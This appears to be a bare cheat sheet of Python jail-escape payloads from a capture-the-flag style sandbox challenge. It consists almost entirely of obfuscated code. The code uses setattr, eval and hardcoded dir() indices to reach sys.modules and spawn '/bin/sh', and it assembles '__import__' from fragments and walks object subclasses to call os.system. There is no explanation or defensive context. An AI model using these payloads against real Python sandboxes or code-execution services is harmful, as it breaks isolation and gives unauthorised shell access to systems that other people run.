python jail

"A""B" == "A"+"B"

setattr(__builtins__,"delattr",dir(__builtins__)[90])

setattr(__builtins__,"s",eval(delattr)(__import__("re"),dir(__import__("re"))[48]))

eval(delattr)(__import__(str(eval(delattr)(s,"modules"))[2648:2650]),dir(__import__(str(eval(delattr)(s,"modules"))[2648:2650]))[215])("/bin/sh")

' ' == '\t'

res = list()

res.append(dir(globals())[0][0])

res.append(dir(globals())[0][0])

res.append('impo')

res.append('rt')

res.append(dir(globals())[0][0])

res.append(dir(globals())[0][0])

globals().__class__.__base__.__subclasses__()[59]()._module.__builtins__[''.join(res)]('os').system('ls')